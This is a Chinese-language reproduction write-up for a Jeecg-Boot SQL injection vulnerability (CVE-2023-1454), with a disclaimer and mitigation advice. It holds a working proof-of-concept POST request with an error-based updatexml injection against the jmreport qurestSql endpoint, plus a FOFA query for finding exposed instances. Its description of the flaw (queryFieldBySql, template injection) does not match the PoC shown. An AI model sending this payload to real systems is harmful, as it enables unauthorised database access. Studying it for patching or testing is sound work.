文章目录

  • Jeecg-Boot SQL注入漏洞(CVE-2023-1454)复现
    • 0x01 前言
    • 0x02 漏洞描述
    • 0x03 影响范围
    • 0x04 漏洞环境
    • 0x05 漏洞复现
      • 1.访问漏洞环境
      • 2.构造POC
      • 3.复现
    • 0x06 修复建议

Jeecg-Boot SQL注入漏洞(CVE-2023-1454)复现

0x01 前言

免责声明:请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用!!!

0x02 漏洞描述

JeecgBoot 是一个基于代码生成器的低代码开发平台,用于快速构建企业级的Web应用程序。它基于Java语言和Spring Boot框架,并提供了一系列的代码生成工具、模板和插件,帮助开发者快速生成高质量、可扩展的业务应用。

JeecgBoot 受影响版本中由于积木报表 /jeecg-boot/jmreport/queryFieldBySql Api 接口未进行身份校验,使用 Freemarker 处理用户用户传入的 sql 参数,未经授权的攻击者可发送包含恶意 sql 参数的 http 请求,通过 SSTI 在应用端执行任意代码。

0x03 影响范围

Jeecg-Boot = v3.5.0

0x04 漏洞环境

fofa:app=“JeecgBoot-企业级低代码平台”

0x05 漏洞复现

1.访问漏洞环境

2.构造POC

POC (POST)

POST /jeecg-boot/jmreport/qurestSql HTTP/1.1Host: ip:portContent-Type: application/json;charset=UTF-8{"apiSelectId":"1316997232402231298","id":"1' or '%1%' like (updatexml(0x3a,concat(1,(select database())),1)) or '%%' like '"}

3.复现

发现响应报错有查询到数据库库名,响应成功!!!

0x06 修复建议

临时缓解措施
避免/jeecg-boot/jmreport/qurestSql Api 接口对外暴露
在不影响业务的情况下,用户可通过以下措施来规避该漏洞:

  1. 将系统部署到内网使用
  2. 设置白名单,允许受信任的IP对系统进行访问

建议更新当前系统或软件至最新版,完成漏洞的修复。官网链接:http://www.jeecg.com/